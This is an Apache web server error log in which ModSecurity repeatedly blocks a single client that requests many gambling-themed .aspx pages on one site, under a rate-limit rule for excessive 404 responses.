[Tue Mar 17 02:44:31.621198 2026] [:error] [pid 3200:tid 3204] [client 87.185.66.78:58179] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abhPj1FOeKiNLMuAjedMcgAAAQI"]
[Tue Mar 17 02:44:40.066416 2026] [:error] [pid 9635:tid 9643] [client 87.185.66.78:58287] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abhPmHsAHChuwZxGaSgGtAAAAUY"]
[Tue Mar 17 02:44:41.583084 2026] [:error] [pid 45404:tid 45518] [client 87.185.66.78:58302] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abhPmWcrPifELUd8UWAaugAAAAE"]
[Tue Mar 17 02:44:45.210902 2026] [:error] [pid 9635:tid 9651] [client 87.185.66.78:58365] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abhPnXsAHChuwZxGaSgGyQAAAU4"]
[Tue Mar 17 02:44:46.666698 2026] [:error] [pid 45652:tid 45666] [client 87.185.66.78:58400] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abhPnveWZ4w4tc07R6ljUgAAAMs"]
[Tue Mar 17 02:44:50.505428 2026] [:error] [pid 45450:tid 45589] [client 87.185.66.78:58450] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abhPor164tBAS29wdMgr-gAAAJI"]
[Tue Mar 17 02:44:52.032128 2026] [:error] [pid 3200:tid 3212] [client 87.185.66.78:58469] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abhPpFFOeKiNLMuAjedMmgAAAQo"]
[Tue Mar 17 02:44:54.720478 2026] [:error] [pid 9635:tid 9647] [client 87.185.66.78:58506] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abhPpnsAHChuwZxGaSgG2QAAAUo"]
[Tue Mar 17 02:44:56.194750 2026] [:error] [pid 45450:tid 45585] [client 87.185.66.78:58522] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abhPqL164tBAS29wdMgr_gAAAI4"]
[Tue Mar 17 02:45:03.876542 2026] [:error] [pid 45652:tid 45668] [client 87.185.66.78:64649] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abhPr_eWZ4w4tc07R6ljdQAAAM0"]
[Tue Mar 17 02:45:06.624032 2026] [:error] [pid 45652:tid 45662] [client 87.185.66.78:64660] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abhPsveWZ4w4tc07R6ljjAAAAMc"]
[Tue Mar 17 02:45:15.382197 2026] [:error] [pid 45450:tid 45580] [client 87.185.66.78:58744] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abhPu7164tBAS29wdMgsDQAAAIk"]
[Tue Mar 17 02:45:16.760656 2026] [:error] [pid 3200:tid 3212] [client 87.185.66.78:58843] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abhPvFFOeKiNLMuAjedMxAAAAQo"]
[Tue Mar 17 02:45:53.823259 2026] [:error] [pid 9635:tid 9655] [client 87.185.66.78:65049] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abhP4XsAHChuwZxGaSgHeAAAAVI"]
[Tue Mar 17 02:45:55.371370 2026] [:error] [pid 9635:tid 9640] [client 87.185.66.78:61688] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abhP43sAHChuwZxGaSgHegAAAUM"]
[Tue Mar 17 02:45:56.793607 2026] [:error] [pid 45404:tid 45540] [client 87.185.66.78:59527] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abhP5GcrPifELUd8UWAbDQAAABc"]
[Tue Mar 17 02:46:01.714526 2026] [:error] [pid 9635:tid 9653] [client 87.185.66.78:61862] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abhP6XsAHChuwZxGaSgHggAAAVA"]
[Tue Mar 17 02:46:03.043178 2026] [:error] [pid 3200:tid 3223] [client 87.185.66.78:59663] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abhP61FOeKiNLMuAjedNDQAAARU"]
[Tue Mar 17 02:46:08.203329 2026] [:error] [pid 45450:tid 45585] [client 87.185.66.78:59738] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abhP8L164tBAS29wdMgsPQAAAI4"]
[Tue Mar 17 02:46:09.652096 2026] [:error] [pid 45424:tid 45560] [client 87.185.66.78:59762] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abhP8YBy2Qv_YY3oWK7HTwAAAFA"]
[Tue Mar 17 02:46:14.061843 2026] [:error] [pid 3200:tid 3204] [client 87.185.66.78:59879] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abhP9lFOeKiNLMuAjedNHwAAAQI"]
[Tue Mar 17 02:46:15.395865 2026] [:error] [pid 45450:tid 45577] [client 87.185.66.78:62216] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abhP97164tBAS29wdMgsQgAAAIY"]
[Tue Mar 17 02:46:19.240481 2026] [:error] [pid 9635:tid 9650] [client 87.185.66.78:60005] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abhP-3sAHChuwZxGaSgHuAAAAU0"]
[Tue Mar 17 02:46:20.783679 2026] [:error] [pid 45652:tid 45670] [client 87.185.66.78:60046] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abhP_PeWZ4w4tc07R6lj9QAAAM8"]
[Tue Mar 17 02:46:25.378803 2026] [:error] [pid 3200:tid 3204] [client 87.185.66.78:60101] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abhQAVFOeKiNLMuAjedNRgAAAQI"]
[Tue Mar 17 02:46:27.042619 2026] [:error] [pid 9635:tid 9638] [client 87.185.66.78:62554] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abhQA3sAHChuwZxGaSgHyAAAAUE"]
[Tue Mar 17 02:46:31.147123 2026] [:error] [pid 45652:tid 45673] [client 87.185.66.78:62644] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abhQB_eWZ4w4tc07R6lkEAAAANI"]
[Tue Mar 17 02:46:32.493580 2026] [:error] [pid 3200:tid 3207] [client 87.185.66.78:60206] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abhQCFFOeKiNLMuAjedNTwAAAQU"]
[Tue Mar 17 02:46:36.372541 2026] [:error] [pid 45652:tid 45678] [client 87.185.66.78:60266] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abhQDPeWZ4w4tc07R6lkHQAAANc"]
[Tue Mar 17 02:46:38.662107 2026] [:error] [pid 3200:tid 3204] [client 87.185.66.78:60301] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abhQDlFOeKiNLMuAjedNVgAAAQI"]
[Tue Mar 17 02:46:42.236498 2026] [:error] [pid 9635:tid 9661] [client 87.185.66.78:60353] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abhQEnsAHChuwZxGaSgH1QAAAVg"]
[Tue Mar 17 02:46:43.631000 2026] [:error] [pid 45652:tid 45663] [client 87.185.66.78:62985] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abhQE_eWZ4w4tc07R6lkLwAAAMg"]
[Tue Mar 17 02:46:46.787950 2026] [:error] [pid 45404:tid 45524] [client 87.185.66.78:60451] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abhQFmcrPifELUd8UWAbXwAAAAc"]
[Tue Mar 17 02:46:49.221243 2026] [:error] [pid 45404:tid 45534] [client 87.185.66.78:63105] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abhQGWcrPifELUd8UWAbZAAAABE"]
[Tue Mar 17 02:47:19.886622 2026] [:error] [pid 45404:tid 45533] [client 87.185.66.78:61062] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abhQN2crPifELUd8UWAbrAAAABA"]
[Tue Mar 17 02:47:21.489653 2026] [:error] [pid 3200:tid 3216] [client 87.185.66.78:61093] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abhQOVFOeKiNLMuAjedNhwAAAQ4"]
[Tue Mar 17 02:47:24.627139 2026] [:error] [pid 45404:tid 45540] [client 87.185.66.78:63812] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abhQPGcrPifELUd8UWAbsQAAABc"]
[Tue Mar 17 02:47:26.033432 2026] [:error] [pid 9635:tid 9652] [client 87.185.66.78:63870] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abhQPnsAHChuwZxGaSgIzgAAAU8"]
[Tue Mar 17 02:47:29.935473 2026] [:error] [pid 3200:tid 3207] [client 87.185.66.78:61261] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abhQQVFOeKiNLMuAjedNlgAAAQU"]
[Tue Mar 17 02:47:31.356887 2026] [:error] [pid 45652:tid 45673] [client 87.185.66.78:61286] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abhQQ_eWZ4w4tc07R6lkaQAAANI"]
[Tue Mar 17 02:47:34.960054 2026] [:error] [pid 9635:tid 9644] [client 87.185.66.78:64157] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abhQRnsAHChuwZxGaSgI7gAAAUc"]
[Tue Mar 17 02:47:36.426084 2026] [:error] [pid 45404:tid 45527] [client 87.185.66.78:61360] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abhQSGcrPifELUd8UWAbvQAAAAo"]
[Tue Mar 17 02:47:39.372805 2026] [:error] [pid 9635:tid 9653] [client 87.185.66.78:64272] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abhQS3sAHChuwZxGaSgJBQAAAVA"]
[Tue Mar 17 02:47:40.794102 2026] [:error] [pid 9635:tid 9645] [client 87.185.66.78:61434] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abhQTHsAHChuwZxGaSgJDQAAAUg"]
[Tue Mar 17 02:47:44.071547 2026] [:error] [pid 9635:tid 9650] [client 87.185.66.78:61497] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abhQUHsAHChuwZxGaSgJFAAAAU0"]
[Tue Mar 17 02:47:45.623868 2026] [:error] [pid 9635:tid 9659] [client 87.185.66.78:61515] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abhQUXsAHChuwZxGaSgJHwAAAVY"]
[Tue Mar 17 02:47:48.990361 2026] [:error] [pid 45404:tid 45528] [client 87.185.66.78:61568] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abhQVGcrPifELUd8UWAbywAAAAs"]
[Tue Mar 17 02:47:50.900611 2026] [:error] [pid 45652:tid 45663] [client 87.185.66.78:64578] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abhQVveWZ4w4tc07R6lkfQAAAMg"]
[Tue Mar 17 02:47:54.231124 2026] [:error] [pid 9635:tid 9640] [client 87.185.66.78:64677] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abhQWnsAHChuwZxGaSgJQAAAAUM"]
[Tue Mar 17 02:47:55.715214 2026] [:error] [pid 45450:tid 45584] [client 87.185.66.78:64735] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abhQW7164tBAS29wdMgsnwAAAI0"]
[Tue Mar 17 02:47:58.970423 2026] [:error] [pid 9635:tid 9643] [client 87.185.66.78:64812] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "abhQXnsAHChuwZxGaSgJUgAAAUY"]
[Tue Mar 17 02:48:00.396890 2026] [:error] [pid 45652:tid 45655] [client 87.185.66.78:64847] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "abhQYPeWZ4w4tc07R6lkiwAAAMA"]
[Tue Mar 17 02:48:04.960372 2026] [:error] [pid 9635:tid 9659] [client 87.185.66.78:61821] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "abhQZHsAHChuwZxGaSgJfAAAAVY"]
[Tue Mar 17 02:48:06.546842 2026] [:error] [pid 45652:tid 45675] [client 87.185.66.78:64982] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "abhQZveWZ4w4tc07R6lkowAAANQ"]
[Tue Mar 17 02:48:10.261365 2026] [:error] [pid 9635:tid 9658] [client 87.185.66.78:61936] [client 87.185.66.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abhQansAHChuwZxGaSgJpgAAAVU"]
